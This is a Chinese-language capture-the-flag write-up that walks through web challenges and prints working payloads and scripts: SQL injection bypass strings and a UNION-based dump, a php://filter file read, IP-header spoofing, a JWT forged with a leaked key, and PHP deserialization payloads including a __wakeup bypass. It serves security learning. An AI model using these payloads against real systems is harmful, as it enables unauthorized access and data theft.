Web1(代码审计)
构造Payload:
Web2(数据提交)
发现需要在3s计算出一个表达式的结果,直接计算不太现实,可以尝试使用Python脚本:
#coding=utf-8
import requests
import re
url="http://*.*.*.*/"
s=requests.Session()#创建会话
rul=re.compile('\d(.*?)\)')#匹配规则
text = re.search(rul,s.get(url).text)
if text:
exp=text.group()#匹配到结果
res=eval(exp)#计算表达式
data={"result":res}
print(s.post(url,data=data).text)#提交
Web3(文件包含)
http://ip/?op=php://filter/read/convert.base64-encode/resource=flag
读取flag,最开始我是读取的index.php内容,但是发现一旦加上.php就会提示no such page,之后删除.php,发现读取成功。
Web4(Sql注入)
进入页面,猜测就是sql注入,直接使用sqlmap跑,发现中途提示有个302重定向:
访问链接得到URL。
当然也可以手注, 使用or在密码栏构造恒成立语句,payload:' or '1'='1 成功绕过。
Web5(暂时没法做)
Web6(IP伪造+暴力破解)
进入是个登录页面:随便输入,提示ip禁止访问,再加上本地管理员,想到伪造ip:X-Forwarded-For和Client-Ip,经过测试发现伪造X-Forwarded-For为本地ip可通过:
Web7(Cookie伪造)
主页是一个登录页面,先尝试随意登录,使用账号admin:password
Web8(暂未更新)
Web9(PUT方法提交数据)
进入页面发现提示:
application/x-www-form-urlencoded主要用于表单提交,在http请求中,ContentType都是默认的值 application/x-www-form-urlencoded。
Web10(JWT)
查看源代码发现提示:使用kk:kk123进行登录:
使用vim崩溃的话,应该会残留swp文件,在主页后面的文件加上swp:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
<p>username: <input type="text" name="username" /></p>
<p>password: <input type="password" name="password" /></p>
<input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
error_reporting(0);
require_once 'src/JWT.php';
const KEY = 'L3yx----++++----';
function loginkk()
{
$time = time();
$token = [
'iss'=>'L3yx',
'iat'=>$time,
'exp'=>$time+5,
'account'=>'kk'
];
$jwt = \Firebase\JWT\JWT::encode($token,KEY);
setcookie("token",$jwt);
header("location:user.php");
}
if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
{
if($_POST['username']=='kk' && $_POST['password']=='kk123')
{
loginkk();
}
else
{
echo "账号或密码错误";
}
}
?>
想简单了解一下jwt的童鞋,可参考文章10分钟了解JSON Web令牌从代码可知道JWT的key,payload,所以可以通过脚本构造账号为L3yx的JWT:
#coding=utf-8
import requests
import re
import time
import json
import math
import hashlib
import base64
import hmac
def baseURL(date,flag=1): #flag表示传入的是bytes类型还是字符串类型,1表示字符串
if(flag):
bs = base64.b64encode(date.encode("utf-8")) # 将字符为unicode编码转换为utf-8编码
else:
bs=base64.b64encode(date)
bs=bs.decode('utf-8')
bs=bs.replace('+','-')
bs=bs.replace('/','_')
bs=bs.replace('=','')
return bs
url="http://*.*.*.*/user.php"
s=requests.session()
header={
"typ":"JWT",
"alg":"HS256"
}
iat=math.trunc(time.time()) #将时间戳转换为整数
payloads={
"iss":"L3yx",
"iat":iat,
"exp":iat+5,
"account":"L3yx"
}
res=baseURL(json.dumps(header))+"."+baseURL(json.dumps(payloads)) #将字典转换位json对象,并用Base64Url加密
hs=hmac.new(b'L3yx----++++----',res.encode(),digestmod=hashlib.sha256) #使用Hmac Sha256进行加密(注意函数需要的类型为byes)
sign=baseURL(hs.digest(),0)
token=res+"."+sign
cookies={'token':token}
req=s.get(url,cookies=cookies)
rul=re.compile('flag') #查找是否有flag
text = re.search(rul,req.text)
if text:
print(req.text)
因为时间差异可能需要多提交几次:Web11(robots.txt文件+hash碰撞)
进入页面+查看源代码没发现什么信息,发现网页标签名字叫robots,尝试访问robots.txt:
发现shell.php,访问发现要求输入字符串的md5前6位为后面随机变化的数值:
利用python脚本:
#coding=utf-8
import requests
import hashlib
import re
url="http://*.*.*.*/shell.php"
s=requests.session()
val=s.get(url)
#val.encoding='utf-8'
#print(val.text)
rul=re.compile('= (.*?)<')#匹配规则
res=re.search(rul,val.text)
if res:
tm=res.group().strip("= <")#获取结果并去除多余的符号
for i in range(1,100000000):
m=hashlib.md5()
b = str(i).encode(encoding='utf-8')
m.update(b)
mate = m.hexdigest()
if(mate[:6]==tm):
print(s.get(url+"?password="+str(i)).text)
break
Web12(代码审计+反序列化)
进入页面,通过查看源代码获取代码。
if(isset($_GET['rua'])){
$rua = $_GET['rua'];
@unserialize($rua);
}
首先要有参数rua,然后需要传递序列化串,关于序列化和反序列化的使用可参照:https://www.cnblogs.com/youyoui/p/8610068.html,
function __wakeup(){
$this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
}
因为反序列化后会先看书否有__wakeup函数,这里的__wakeup函数是设置password为1,也就是说我们无论传递password值为多少,最后都为1(补充说一下:函数部分有__construct函数,在反序列化时是不会自动调用的,在新建对象时会调用)
function __destruct(){
if(!empty($this->password))
{
if(strcmp($this->password,$this->truepassword)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(!empty($this->time)){
if(!is_numeric($this->time)){
echo 'Sorry.<br>';
show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
echo 'you need a smaller time.<br>';
}
else{
sleep((int)$this->time);
var_dump($this->flag);
}
echo '<hr>';
}
else{
echo '<h1>you have no time!!!!!</h1><br>';
}
}
else{
echo '<h1>Password is wrong............</h1><br>';
}
}
else{
echo "<h1>Please input password..........</h1><br>";
}
}
从上述代码可知,会比较传递的password和truepassword的值,因为不知道truepassword为多少,所以可以通过传递truepassword将truepassword修改为1,然后就是判断time,首先第一个要求是利用is_numeric判断参数值,为true的情况有:数字和数字字符串(包括16进制和8进制,以及以科学计数法的字符串,比如“1e5”,0x开头的字符串,注意以0开头表示8进制的数字字符串会被当成10进制数字字符串),假如传递的为范围内,即1275523920-1333502280之间的纯数字,那么下面的sleep函数过后才能出flag,,,所以需要传递数字字符串,字符串在转为int时,如果首位为0,int值就为0,所以传递范围间的16进制数,我选择的是:1275523930,其16进制为4c06f35a
所以构造payload:
http://.../index.php?
rua=O:4:%22Time%22:3:{s:12:%22truepassword%22;i:1;s:4:%22time%22;s:10:%220x4c06f35a%22;s:8:%22password%22;s:1:%22a%22;}
得到flag:
Web13(利用脚本快速提交)
首先查看源代码和尝试登陆没发现有用的信息,然后抓包:
发现给出了Password字段,解密为:flag{32de1e4dd00f706c19cde1f78392c22f}
在输入框提交32de1e4dd00f706c19cde1f78392c22f,提交后出来提示:
要求提交速度要快,尝试利用脚本解决:
#encoding=utf-8
import requests
import base64
import re
url='http://*.*.*.*/index.php'
s=requests.session()
headers=s.post(url,data={'password':'123456'}).headers
mid=base64.b64decode(headers['Password'])
mid=mid.decode()
rul=re.compile('{(.*?)}')
res=re.search(rul,mid)
if res:
str=res.group().strip('{}')
print(s.post(url,data={'password':str}).text)
Web14(Git泄露)
进入页面,查看源代码可发现提示
先后尝试了robots.txt以及御剑扫描还有可能存在的备份文件,都没有找到有用的信息。然后在我查找有关备份信息的时候发现有个Kali工具:nikto,具体信息不多说网上都有
OK,找到突破口,Git泄露,使用GitHack工具下载文件
然后打开flag.php。
Web15(swp)
先尝试提交数据,抓包:
发现提示:
hint为16进制字符串-先将其转换为ASC-Base32解码-Base64解码:
提交发现还是不对,页面一直提示不是这里,再加上访问index.php是302不是404,所以在index.php尝试提交:
Web16(代码审计+修改cookie)
最开始通过抓包之类的没有发现有用的信息,然后发现源文件里面有个script.js文件,在浏览器控制台将eval换成alert:
整理获取到的代码:
function getCookie(cname){ //获取cookie值
var name=cname+"=";
var ca=document.cookie.split(';');
for(var i=0;i<ca.length;i++){
var c=ca[i].trim();
if(c.indexOf(name)==0)
return c.substring(name.length,c.length)
}
return"";
}
function decode_create(temp){ //加密算法
var base=new Base64();
var result=base.decode(temp);
var result3="";
for(i=0;i<result.length;i++){
var num=result[i].charCodeAt(); //charCodeAt() 方法可返回指定位置的字符的 Unicode 编码
num=num^i;
num=num-((i%10)+2);
result3+=String.fromCharCode(num) //fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
}
return result3;
}
function ertqwe(){
var temp_name="user";
var temp=getCookie(temp_name);
temp=decodeURIComponent(temp);
var mingwen=decode_create(temp);
var ca=mingwen.split(';');
var key="";
for(i=0;i<ca.length;i++){
if(-1<ca[i].indexOf("flag")){
key=ca[i+1].split(":")[2]}
}
key=key.replace('"',"").replace('"',"");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function(){document.getElementById("attack-1").src="image/1-2.jpg"},1000);
setTimeout(function(){document.getElementById("attack-1").src="image/1-3.jpg"},2000);
setTimeout(function(){document.getElementById("attack-1").src="image/1-4.jpg"},3000);
setTimeout(function(){document.getElementById("attack-1").src="image/6.png"},4000);
setTimeout(function(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{"+md5(key)+"}")},5000);
}
将最后一个方法的方法名称去掉,复制到浏览器执行:function encode_create(temp){ //加密算法
var result3="";
for(i=0;i<temp.length;i++){
var num=temp[i].charCodeAt();
num=num+((i%10)+2);
num=num^i;
result3+=String.fromCharCode(num);
}
var base=new Base64();
var result=base.encode(result3);
return result;
}
使用函数发现,对原序列字符串加密的结果与原字符串不同,可能Base64函数有问题,发现decode函数注释掉了一行代码然后就买买买,打Boss,最后得flag。
Web18(SQL注入)
首先找到注入点,点击lis发现url里面有个id值,添加'页面内容出错,http://*/list.php?id=0'ununionion selecselectt 1,2,database()--+
然后爆表:
http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'--+ (也可将'web18'改为database())
然后爆字段
http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+
然后爆字段值
http://*/list.php?id=0' ununionion selecselectt 1,2,flag from flag--+
Web19(未完成)
进入页面,查看源代码和抓包未发现有用信息,然后尝试敏感目录扫描(可以使用御剑和kali的工具nikto)Web20(动态提交)
访问页面,发现提示:利用脚本提交:
#coding=utf-8
import requests
import re
url="http://*.*.*.*:10020/"
s=requests.session()
rul=re.compile('[a-zA-Z0-9](.*)[0-9]')
val=s.get(url)
res=re.search(rul,val.text)
if res:
print(res.group())
url=url+"index.php?key="+res.group()
print(url)
data={'key':res.group()}
print(s.get(url).text)
Web21(php伪协议+反序列化)
进入,查看源代码发现提示:
1.在自己的服务器建立一个内容为admin的文件,然后在user输入文件地址:
第一步判断完成后再利用文件包含使用php伪协议读取源码的base64加密数据,使用php://filter协议
//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
通过代码分析可知需要利用反序列化读取f1a9.php,构造payload:pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}Web22(有问题)
Web23(验证码绕过)
进入查看源代码未发现提示,扫描目录发现文件:Web24(代码审计-PHP反序列化)
进入页面发现是商城的展示页面,发现所有的链接都不能点,F12发现提示:1.将获取到的var的base64值进行解码;
2.反序列化,调用__wakeup函数,并且不会自动调用__construct函数;
3.调用__destruct函数;
根据提示可知获取flag的关键在于__destruct处理的$this->file值是否为the_f1ag.php,而__wakeup函数会将变量值设置为index.php,所以先绕过__wakeup函数
当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。举个栗子,比如有个Student类,里面有个参数为name。
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
构造payload:
var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==
Web25(敏感目录+字典遍历)
进入页面发现有个下载链接,然后点击发现有个下载字典的连接,但是点击提示404Web26()
Web27(XXE-未完成)
关于xxe不太了解的童鞋,可以参看文章xxe漏洞攻防学习,基于文章的基础上,构造payload,读取源码
流量分析
下载压缩包,解压,用wireshark打开:日志审计
下载文件,使用notepad++打开,查找关键字flag,发现sqlmap对flag.php的爆破记录:分析可获取flag